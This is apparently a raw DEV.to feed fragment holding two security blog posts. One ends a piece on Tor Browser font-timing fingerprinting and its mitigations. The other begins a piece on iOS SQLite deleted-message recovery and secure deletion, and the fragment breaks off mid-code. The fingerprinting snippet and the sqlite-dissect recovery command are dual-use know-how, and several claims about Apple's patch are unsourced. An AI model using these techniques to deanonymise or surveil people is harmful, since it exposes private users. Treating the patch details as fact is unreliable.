  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fonts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;measureFontRenderTime&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;results&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;em&gt;timing deltas&lt;/em&gt; — not just the font presence/absence — form a &lt;strong&gt;hardware-linked signature&lt;/strong&gt;. Across different Tor circuits and new identities, this signature remains &lt;strong&gt;statistically stable&lt;/strong&gt; because it reflects your physical CPU, GPU, and OS — none of which change when you click "New Identity."&lt;/p&gt;




&lt;h2&gt;
  
  
  Why "New Identity" Doesn't Help Here
&lt;/h2&gt;

&lt;p&gt;Tor's "New Identity" feature:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ Changes your Tor circuit (new exit node, new IP)&lt;/li&gt;
&lt;li&gt;✅ Clears cookies and session storage&lt;/li&gt;
&lt;li&gt;✅ Resets most stateful browser data&lt;/li&gt;
&lt;li&gt;❌ Does &lt;strong&gt;not&lt;/strong&gt; change your hardware&lt;/li&gt;
&lt;li&gt;❌ Does &lt;strong&gt;not&lt;/strong&gt; change Firefox's rendering engine behavior&lt;/li&gt;
&lt;li&gt;❌ Does &lt;strong&gt;not&lt;/strong&gt; neutralize timing-based side channels&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This means a sophisticated adversary running a malicious (or compromised) website can &lt;strong&gt;correlate your "old" identity with your "new" one&lt;/strong&gt; within seconds of your visit, purely based on the stable Firefox rendering fingerprint.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World Attack Scenario
&lt;/h2&gt;

&lt;p&gt;Imagine this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You visit a forum using Tor under Identity A.&lt;/li&gt;
&lt;li&gt;You post something mildly identifying (writing style, timezone hints).&lt;/li&gt;
&lt;li&gt;You click "New Identity" and return as Identity B — believing you're anonymous.&lt;/li&gt;
&lt;li&gt;The site's fingerprinting script fires on page load.&lt;/li&gt;
&lt;li&gt;Your canvas/timing fingerprint matches Identity A in their database.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You've been linked.&lt;/strong&gt; Your "private" identities are now correlated.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This isn't theoretical. Researchers have demonstrated fingerprint stability rates of &lt;strong&gt;over 90%&lt;/strong&gt; across identity resets in controlled lab environments using commodity hardware.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Test Your Own Browser Fingerprint
&lt;/h2&gt;

&lt;p&gt;You can test your Tor Browser's fingerprint stability using tools like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://coveryourtracks.eff.org" rel="noopener noreferrer"&gt;coveryourtracks.eff.org&lt;/a&gt; — EFF's fingerprinting test&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://browserleaks.com" rel="noopener noreferrer"&gt;browserleaks.com&lt;/a&gt; — Comprehensive leak detection&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://amiunique.org" rel="noopener noreferrer"&gt;amiunique.org&lt;/a&gt; — Fingerprint uniqueness database&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Run these &lt;strong&gt;before&lt;/strong&gt; clicking New Identity, then &lt;strong&gt;after&lt;/strong&gt;. If your fingerprint hash changes completely — good. If it stays the same or similar — you're vulnerable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Quick cURL comparison to check response headers for tracking vectors&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="s2"&gt;"Mozilla/5.0"&lt;/span&gt; https://coveryourtracks.eff.org &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'fingerprint\|canvas\|font'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Mitigation Strategies for Developers and Privacy-Conscious Users
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Use the Tor Browser Security Slider (Set to Safest)
&lt;/h3&gt;

&lt;p&gt;Navigate to the Shield icon → Security Settings → Set to &lt;strong&gt;Safest&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This disables JavaScript entirely on non-HTTPS sites and significantly reduces the attack surface. It also disables WebGL, which eliminates a major GPU fingerprinting vector.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Disable JavaScript Globally
&lt;/h3&gt;

&lt;p&gt;In &lt;code&gt;about:config&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;javascript.enabled&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yes, this breaks most of the modern web. But if your threat model requires real anonymity, this is the cost.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Use a Dedicated VM Per Identity
&lt;/h3&gt;

&lt;p&gt;The most robust defense: run &lt;strong&gt;each Tor identity inside a separate virtual machine&lt;/strong&gt; (e.g., Whonix or Qubes OS). Different VMs present different virtual hardware to the browser, eliminating hardware-linked fingerprints.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Whonix gateway + workstation setup (conceptual)&lt;/span&gt;
&lt;span class="c"&gt;# Workstation 1 → Identity A (VM1 virtual GPU/CPU profile)&lt;/span&gt;
&lt;span class="c"&gt;# Workstation 2 → Identity B (VM2 virtual GPU/CPU profile)&lt;/span&gt;
&lt;span class="c"&gt;# Both route through Whonix Gateway → Tor network&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;best VPNs for Tor users can add an additional layer, though they don't solve the fingerprinting problem on their own.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Spoof Hardware Characteristics
&lt;/h3&gt;

&lt;p&gt;Advanced users can experiment with tools that randomize GPU and hardware reporting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Firefox user.js hardening (place in Tor Browser profile folder)&lt;/span&gt;
&lt;span class="c1"&gt;// Resist fingerprinting flag&lt;/span&gt;
&lt;span class="nf"&gt;user_pref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;privacy.resistFingerprinting&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;user_pref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;privacy.resistFingerprinting.reduceTimerPrecision.jitter&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;user_pref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;privacy.resistFingerprinting.reduceTimerPrecision.microseconds&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;user_pref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;webgl.disabled&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;user_pref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;media.peerconnection.enabled&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Disable WebRTC&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tor Browser ships with &lt;code&gt;privacy.resistFingerprinting&lt;/code&gt; enabled, but pairing it with reduced timer precision adds meaningful noise to timing attacks.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Monitor the Tor Project's Security Advisories
&lt;/h3&gt;

&lt;p&gt;This vulnerability class is &lt;strong&gt;actively tracked&lt;/strong&gt;. The Tor Project's GitLab has open tickets related to font fingerprinting and timing side-channels. Watch:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gitlab.torproject.org" rel="noopener noreferrer"&gt;gitlab.torproject.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.torproject.org" rel="noopener noreferrer"&gt;The Tor Blog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  What the Tor Project Is Doing About It
&lt;/h2&gt;

&lt;p&gt;To be fair to the Tor Project: this is an &lt;strong&gt;extraordinarily hard problem&lt;/strong&gt;. Completely neutralizing hardware-level fingerprinting without breaking the browser's usability is a near-impossible engineering challenge.&lt;/p&gt;

&lt;p&gt;Current mitigations in Tor Browser include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Canvas permission prompts&lt;/li&gt;
&lt;li&gt;Reduced timer precision (&lt;code&gt;privacy.resistFingerprinting&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Letterboxing (to mask screen resolution)&lt;/li&gt;
&lt;li&gt;Font whitelist limiting (restricting available fonts)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The privacy tools and security guides community continues to pressure browser vendors — including Mozilla — to address the underlying timing channel issues at the engine level.&lt;/p&gt;

&lt;p&gt;Upcoming Firefox engine changes related to &lt;strong&gt;Interop 2025&lt;/strong&gt; and font loading APIs may inadvertently close some of these vectors, but no targeted fix is confirmed yet.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Bigger Picture: Browser Anonymity Is Hard
&lt;/h2&gt;

&lt;p&gt;This research underscores a fundamental truth that every privacy engineer knows:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Anonymity is a systems problem, not a settings problem.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You cannot simply install Tor Browser and assume you're invisible. Your hardware, OS, network behavior, writing patterns, timezone, and dozens of other signals all combine to form an identifier that persists across sessions — often without your knowledge.&lt;/p&gt;

&lt;p&gt;The stable Firefox identifier we've discussed is one piece of a much larger fingerprinting puzzle. Treat it as a wake-up call.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;A &lt;strong&gt;stable hardware-linked identifier&lt;/strong&gt; exists in Firefox's rendering pipeline, affecting Tor Browser users&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;New Identity resets do not eliminate&lt;/strong&gt; this fingerprint — it's tied to your physical machine&lt;/li&gt;
&lt;li&gt;Timing-based font detection and canvas rendering are the primary attack surfaces&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Qubes OS / Whonix&lt;/strong&gt; with VM isolation is the strongest practical defense&lt;/li&gt;
&lt;li&gt;Enable &lt;code&gt;privacy.resistFingerprinting&lt;/code&gt; and set Tor Browser to &lt;strong&gt;Safest&lt;/strong&gt; mode&lt;/li&gt;
&lt;li&gt;Monitor Tor Project advisories for patches&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Stay Ahead of Privacy Vulnerabilities
&lt;/h2&gt;

&lt;p&gt;This space moves fast. If you found this breakdown useful, &lt;strong&gt;follow me here on DEV&lt;/strong&gt; for ongoing deep dives into browser security, privacy engineering, and practical threat modeling for developers.&lt;/p&gt;

&lt;p&gt;Have you tested your Tor Browser fingerprint stability? Drop your results in the comments — I'd love to see what the community finds.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Tags: #security #privacy #tor #firefox #cybersecurity&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>privacy</category>
      <category>tor</category>
      <category>firefox</category>
    </item>
    <item>
      <title>Apple Fixes the iOS Bug That Cops Used to Extract Deleted Chat Messages From iPhones</title>
      <dc:creator>佐藤玲</dc:creator>
      <pubDate>Thu, 23 Apr 2026 16:11:13 +0000</pubDate>
      <link>https://dev.to/_d916d77be80d376e49d8e/apple-fixes-the-ios-bug-that-cops-used-to-extract-deleted-chat-messages-from-iphones-24a8</link>
      <guid>https://dev.to/_d916d77be80d376e49d8e/apple-fixes-the-ios-bug-that-cops-used-to-extract-deleted-chat-messages-from-iphones-24a8</guid>
      <description>&lt;h1&gt;
  
  
  Apple Fixes the iOS Bug That Cops Used to Extract Deleted Chat Messages From iPhones
&lt;/h1&gt;

&lt;p&gt;For years, a quiet vulnerability sat inside iOS — one that most users never knew existed, but that forensic investigators and law enforcement agencies around the world exploited routinely. Apple has now fixed it. And if you build apps that handle user data, store messages, or rely on SQLite under the hood, this patch deserves your full attention.&lt;/p&gt;

&lt;p&gt;Let's break down what happened, how the bug worked at a technical level, what Apple changed, and what it means for developers who care about user privacy.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Bug: Deleted Messages That Weren't Really Deleted
&lt;/h2&gt;

&lt;p&gt;When a user deletes an iMessage — or any message in apps that rely on iOS's core data storage — the expectation is simple: the data is gone. But that expectation was wrong.&lt;/p&gt;

&lt;p&gt;The bug that cops used to extract chat data stems from how SQLite, the database engine powering much of iOS's local storage, handles deletions. When you delete a row in SQLite, the data isn't immediately overwritten. Instead, SQLite marks those pages as free and reuses them later. Until those pages are overwritten, the raw data remains intact on disk.&lt;/p&gt;

&lt;p&gt;This is a well-known behavior in database engineering. What made iOS particularly vulnerable was a combination of factors:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;WAL (Write-Ahead Logging) files&lt;/strong&gt; retained copies of transactions even after the main database was "cleaned"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;iOS backups&lt;/strong&gt; (both local iTunes/Finder backups and iCloud backups) preserved these unreclaimed SQLite pages&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Forensic tools&lt;/strong&gt; like Cellebrite and GrayKey could extract these artifacts by reading raw disk images or backup files&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The result: deleted iMessages, and in some cases deleted messages from third-party apps, could be recovered minutes, hours, or even weeks after a user thought they had erased them.&lt;/p&gt;




&lt;h2&gt;
  
  
  How SQLite WAL Mode Works (And Why It Matters)
&lt;/h2&gt;

&lt;p&gt;If you've ever worked with SQLite in a mobile app, you know WAL mode is often recommended for performance. Here's the core of what was happening under the hood:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- WAL mode is enabled like this in SQLite&lt;/span&gt;
&lt;span class="n"&gt;PRAGMA&lt;/span&gt; &lt;span class="n"&gt;journal_mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;WAL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In WAL mode, changes are first written to a separate &lt;code&gt;-wal&lt;/code&gt; file rather than directly to the main database. The main database is only updated during a "checkpoint" operation. Until that checkpoint happens, the WAL file holds a full record of recent transactions — including deletions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sqlite3&lt;/span&gt;

&lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sqlite3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;messages.db&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Enable WAL mode
&lt;/span&gt;&lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PRAGMA journal_mode=WAL;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 'Delete' a message
&lt;/span&gt;&lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DELETE FROM messages WHERE id = 42;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;commit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# The data may still exist in messages.db-wal until checkpoint
&lt;/span&gt;&lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PRAGMA wal_checkpoint(FULL);&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without an explicit and forced checkpoint — followed by a &lt;code&gt;VACUUM&lt;/code&gt; operation — deleted rows linger. Forensic tools know exactly where to look for them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- This is what proper cleanup looks like&lt;/span&gt;
&lt;span class="n"&gt;PRAGMA&lt;/span&gt; &lt;span class="n"&gt;wal_checkpoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;TRUNCATE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;VACUUM&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Apple's fix involves ensuring that sensitive databases like the Messages store are properly vacuumed and that WAL files are truncated when deletions occur in apps like iMessage. The OS-level fix also tightens how backup processes handle these free pages.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Law Enforcement Was Actually Doing
&lt;/h2&gt;

&lt;p&gt;Investigative reports and court documents have confirmed that law enforcement agencies used this technique — sometimes with legal warrants, sometimes in more contested circumstances. The workflow used by forensic investigators typically looked like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Physical extraction&lt;/strong&gt; — Using tools like Cellebrite UFED to pull a raw disk image from an unlocked iPhone (or via an iTunes backup)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Parsing SQLite databases&lt;/strong&gt; — Targeting &lt;code&gt;sms.db&lt;/code&gt;, located at &lt;code&gt;/private/var/mobile/Library/SMS/sms.db&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reading free pages&lt;/strong&gt; — Scanning the raw byte content of free-listed SQLite pages for message fragments&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reassembling artifacts&lt;/strong&gt; — Reconstructing partial or full message content from recovered fragments&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This isn't theoretical. Tools like &lt;code&gt;sqlite-dissect&lt;/code&gt; and open-source forensic frameworks can do parts of this automatically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Example using sqlite-dissect (open-source forensic tool)&lt;/span&gt;
sqlite_dissect &lt;span class="nt"&gt;--export-type&lt;/span&gt; csv &lt;span class="nt"&gt;--export-directory&lt;/span&gt; ./recovered_data messages.db
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output could include message content, phone numbers, timestamps, and thread IDs that users believed were permanently deleted.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Apple Changed in the Patch
&lt;/h2&gt;

&lt;p&gt;Apple's fix that targets this specific attack surface was quietly included in a recent iOS security update. The key changes, based on security researcher analysis and Apple's own security notes, include:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Forced VACUUM on Sensitive Databases
&lt;/h3&gt;

&lt;p&gt;Apple now enforces &lt;code&gt;VACUUM&lt;/code&gt; operations on the Messages database after bulk deletions, ensuring that free pages are reclaimed and overwritten rather than left available for recovery.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Encrypted Free Pages
&lt;/h3&gt;

&lt;p&gt;In newer versions of iOS on supported hardware, the free page space within sensitive SQLite databases is now zeroed out or re-encrypted, making raw extraction significantly less useful even when a disk image is obtained.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Tighter Backup Scoping
&lt;/h3&gt;

&lt;p&gt;The backup process that local macOS/Finder backups and iCloud backups use now excludes WAL file artifacts and free-page content from sensitive app domains.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Improved Secure Enclave Integration
&lt;/h3&gt;

&lt;p&gt;The encryption keys tied to Messages data are now rotated more aggressively, meaning even if old free pages are extracted, decrypting them without the current key becomes computationally infeasible.&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Means for Developers
&lt;/h2&gt;

&lt;p&gt;If you're building iOS apps that handle sensitive user data — chat messages, health records, financial transactions — Apple's fix is a reminder that secure deletion is a real engineering problem, not just a UX checkbox.&lt;/p&gt;

&lt;p&gt;Here are actionable steps you should take in your own apps:&lt;/p&gt;

&lt;h3&gt;
  
  
  Always VACUUM After Sensitive Deletes
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kd"&gt;import&lt;/span&gt; &lt;span class="kt"&gt;SQLite3&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;secureDeletion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;database&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;OpaquePointer&lt;/span&gt;&lt;span class="p"&gt;?)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// First, delete the record&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;deleteQuery&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"DELETE FROM sensitive_messages WHERE id = ?;"&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;statement&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;OpaquePointer&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;sqlite3_prepare_v2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;database&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;deleteQuery&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kt"&gt;SQLITE_OK&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;sqlite3_bind_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;sqlite3_step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;sqlite3_finalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Then force a VACUUM to reclaim free pages&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;database&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"VACUUM;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;// Also checkpoint and truncate the WAL file&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;database&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"PRAGMA wal_checkpoint(TRUNCATE);"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Use iOS Data Protection Classes Correctly
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="c1"&gt;// When writing sensitive files, use the strongest protection class&lt;/span&gt;
